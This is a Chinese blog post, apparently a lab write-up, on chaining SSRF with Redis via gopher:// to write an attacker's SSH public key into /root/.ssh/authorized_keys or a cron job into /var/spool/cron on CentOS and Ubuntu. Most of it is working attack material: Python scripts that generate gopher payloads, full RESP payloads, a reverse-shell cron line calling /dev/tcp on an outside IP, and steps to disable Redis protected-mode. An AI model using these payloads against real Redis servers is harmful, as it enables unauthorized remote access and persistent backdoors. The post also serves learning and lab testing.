首页 > 数据库 >ssrf+结合redis 写入crontab或者公钥(两种环境)

ssrf+结合redis 写入crontab或者公钥(两种环境)

时间:2024-07-02 21:21:46浏览次数:18  
标签:set ssrf res resp redis cron 公钥 generate bash

REDIS

redis作为一种数据库 其实是会真的将数据写入到内存中的
我们利用ssrf请求 请求redis 实现服务器对自己的公钥或任务计划写入 实现无密码登录
或反弹bash
image
redis监听所有地址时 才能被外部访问 否则只能127.0.0.1 本地访问
而且开启保护模式后会导致目标端口只能本地访问
这时就需要结合 ssrf

redis保存数据以键值对形式
环境为docker搭建的centos环境
image
可见 写入的内容 目录也是能修改的
image
文件名也可以修改 因此 我们可以构造 一个公钥写入到目标服务器中 达到无密码登录目标主机的目的
image
可见目标成功写入

SSRF

通过服务器进行请求伪造 利用gopher 协议或 dict对 redis进行请求实现 文件的写入

公钥的写入

gopher生成脚本

def ssh_key_write(ssh_dir="/root/.ssh"):
    res = ""
    pubkey_path = "/home/{}/.ssh/id_rsa.pub".format(os.getlogin());
    if(not os.path.exists(pubkey_path)):
        print("Please Run : ssh-keygen -t rsa")
        exit(1)
    pubkey = "\n\n" + open(pubkey_path,"r").read()
    res += generate_resp('flushall')
    res += generate_resp("set 1 {DUMMY}".format(DUMMY="A" * len(pubkey)))
    res += generate_resp('config set dir {}'.format(ssh_dir))
    res += generate_resp('config set dbfilename authorized_keys')
    res += generate_resp('save')
    res += generate_resp('quit')
    res = res.replace("A" * len(pubkey),pubkey)
    res = res.replace("\n","\r\n")
    print(generate_gopher(res))

生成的payload:

gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$565


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCu/eN10PB4xGAuEASpWHW/8bb13ZcqOPAf0G02bMlx629t1BToHekqV4uTKAEp6LgzeaMjI5BIdfv6b0noI/t6GQ2cwcOEh70Shvy1QVfIraYN73KwWZkU55tHMN97tT+RW4wH3iPsocWYh828EC0Ps+04ie28y9sMSMErhAZS0FVsG8bVFby6rVU7dfV/u4EVBGp+obnLuRU+evOIGr8avo/iCMh6U+YeVSBwtvri8HCgJOBPoxJdWQXBDVGfBDvzgnOp2+ay5QZBZ8rht171zLoC5Vkcf89EKCR0MnhwXo3dJWgbCNOwKfIY0W3WnNklz4iez8Tu0GAH9b/0y24YdsAmS+HaUYv3czX5Ss74aa+qVLdOgxBcFCVZ2ljlhynsB/0DNKnEtlCbOlLYnx6N29i6yPbrqP6xcMQOXPPHqq+sXv4ltqES28NeIw2FsfJAzJP+MDuFM6aVcjga3m9MgP9P0YEafm4GGHno/OHPu8okS26EWbpNvDFmmCCjgMk= kali@kali

*4
$6
config
$3
set
$3
dir
$10
/root/.ssh
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
*1
$4
save
*1
$4
quit

我们这样进行请求
image
当然要先进行编码
image
可以看到 公钥成功被上传到了服务器中

ssh请求:
image
环境中Dockerfile存在一些问题 我做了一些修改 否则docker镜像中22端口起不来
运行/usr/sbin/sshd启动sshd
接下来就可以无秘钥直接利用公钥登录到目标服务器了
image

ubuntu 与centos基本一致 但是由于redis的保护配置
image
导致这些属性不能被修改
需要将 protected-mode 关闭
CONFIG SET protected-mode no
修改为gopher格式:

*4
$6
config
$3
set
$14
protected-mode
$2
no

试了一下 还是不行

image
查看docker环境后发现该redis版本为7.2.5 安全性提高
在新版本的redis中只能通过配置项修改dir和dbfilename
后面我将dokcerfile做了修改 拉取了5.0.5的redis

同样的操作:
image
成功拿到shell

SSRF计划任务实现shell反弹

centos:

生成脚本:

def cron_write(ip, port=8080, os_type="centos"):

    if os_type == "centos":
        crontab_path = "/var/spool/cron/"
    else:
        crontab_path = "/var/spool/cron/crontabs"

    cron_command = "\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'\n\n".format(ip=ip, port=port)
    res = ""
    res += generate_resp('flushall')
    res += generate_resp("set 1 {DUMMY}".format(DUMMY="A" * len(cron_command)))
    res += generate_resp('config set dir {}'.format(crontab_path))
    res += generate_resp('config set dbfilename root')
    res += generate_resp('save')
    res += generate_resp('quit')
    res = res.replace("\n","\r\n")
    res = res.replace("A" * len(cron_command), cron_command)
    print(generate_gopher(res))

生成payload:

gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$74

*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/192.168.80.153/45453 0>&1' 

*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit

其实就是利用gopher 将*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/192.168.80.153/45453 0>&1'
写入到定时任务中
image
image
这是写入的内容
kali中利用nc监听端口 等待连接

image
image
成功反射

ubuntu

ubuntu的shell反射 我们先找一个环境试一下:
/bin/bash -i >& /dev/tcp/192.168.80.153/45453 0>&1
可以成功
接下来利用ssrf写入到crontab中 等了很久都没有弹shell
首先 ubuntu的cron目录其实在
/var/spool/cron/crontabs
所以我们要对payload做一些修改
image
发现还是没有回弹
那么我们需要进行一下测试

为什么ubuntu的crontab没有回弹shell

这里用kali进行演示
写入了任务计划
image
但迟迟没有反弹
image
将错误信息写到tmp目录下进行查看

┌──(root㉿kali)-[/tmp]
└─# cat error.txt 
bash: cannot set terminal process group (457594): Inappropriate ioctl for device
bash: no job control in this shell
bash: bash -i >& /dev/tcp/192.168.80.153/45453 0>&1: No such file or directory

发现 主要问题是no such file 这是由于cron默认运行环境为/bin/sh
image
我们发现 sh其实是dash的软连接 而dash是非交互式的shell 效率优于bash
了解后 我们需要知道 bsah -i 回弹的是交互式的shell 要求比较高 而bash -c 回弹的是非交互式的shell 要求低 在ubuntu中更推荐使用bash -c 来实现命令的交互
image
我们测试一下
image
成功连接

于是我们再次进行ssrf的尝试
image
生成一个这样的脚本
还是不行 由于ubuntu的crontab 具有644权限 会无法启用 必须要用600权限
还是非常难成功的

标签:set,ssrf,res,resp,redis,cron,公钥,generate,bash
From: https://www.cnblogs.com/fr09/p/18279707

相关文章

  • 【AKS+Redis】AKS中客户端(ioredis)遇见Azure Redis服务Failover后链接中断的可能性
    问题描述在AKS中连接Redis,当遇到AzureRedis升级或者Failover时,NodeJS应用中使用ioredissdk在很长一段时间内无法恢复和AzureRedis服务端的连接,对于这种想象的可能性推断。 问题解答使用AzureCacheforRedis时,一个服务器是主节点,另一个服务器是副本。主节点通常负......
  • Redis Sentinal(哨兵模式详解)
    参考文章https://www.cnblogs.com/wzh2010/p/180309071、什么是哨兵模式在实际生产环境中,服务器难免会遇到一些突发状况:服务器宕机,停电,硬件损坏等等,一旦发生,后果不堪设想。哨兵模式的核心还是主从模式的演变,只不过相对于主从模式,在主节点宕机导致不可写的情况下,多了探活,以及竞......
  • 23- Redis 主从复制是怎么实现的?
    之前介绍过AOF和RDB,这两个持久化技术保证了即使在服务器重启的情况下也不会丢失数据(或少量丢失)。不过,由于数据都是存储在一台服务器上,如果出事就完犊子了,比如:如果服务器发生了宕机,由于数据恢复是需要时间的,那么这个期间是无法服务新的请求的;如果这台服务器的硬盘出现了......
  • 保存到redis中的token乱码了
    示图:原因是缓存保存到redis需要序列化操作,没有序列化会出现这样的问题序列化redis第一步:packagecom.abliner.test.configure.redis;importcom.fasterxml.jackson.annotation.JsonAutoDetect;importcom.fasterxml.jackson.annotation.PropertyAccessor;importcom......
  • 十四、Redis应用问题解决
    文章目录一、缓存穿透1.1问题描述1.2解决方案二、缓存击穿2.1问题描述2.2解决方案三、缓存雪崩3.1问题描述3.2解决方案四、分布式锁4.1问题描述4.2解决方案:使用redis实现分布式锁4.3编写代码4.4优化之设置锁的过期时间4.5优化之UUID防误删4.6优化之LUA脚......
  • 十三、Redis集群
    文章目录一、问题二、什么是集群三、删除持久化数据四、制作6个实例6379,6380,6381,6389,6390,63914.1配置基本信息4.2rediscluster配置修改4.3修改好redis6379.conf文件,拷贝多个redis.conf文件4.4使用查找替换修改另外5个文件4.5启动6个redis服务......
  • 2024 Redis面试题
    Redis为什么快?1.纯内存KV操作        Redis的操作都是基于内存的,CPU不是Redis性能瓶颈,,Redis的瓶颈是机器内存和网络带宽。        在计算机的世界中,CPU的速度是远大于内存的速度的,同时内存的速度也是远大于硬盘的速度。redis的操作都是基于内......
  • Redis Stream 作为消息队列的详尽笔记
    概述RedisStream是Redis5.0版本引入的数据结构,用于消息传递。基础概念结构:消息链表,每个消息有唯一ID和内容。命名:每个Stream有唯一名称,对应RedisKey。消费组(ConsumerGroup):可挂载多个消费组,需手动创建。每个组有游标last_delivered_id,记录消费进度。消费......
  • Redis配置文件详解
    在Redis中,Redis的根目录中有一个配置文件(redis.conf)。您可以通过RedisCONFIG命令获取和设置所有Redis配置。查看Redis配置句法CONFIGGET命令的基本语法:redis127.0.0.1:6379>CONFIGGETCONFIG_SETTING_NAME查看日志等级的配置redis127.0.0.1:6379>CONFIGGETlog......
  • python中对于redis依赖的一些版本记录
    一、redis不同版本对于集群和单节点的区别:1.在redis版本高于等于4.1.0支持集群方式链接(官网实例:https://redis-py.readthedocs.io/en/stable/clustering.html)推荐只使用redis官方依赖该与4.1.0的稳定版本进行支持 2.如果使用redis-py-cluster,进行对redis集群的连接,安装依赖时......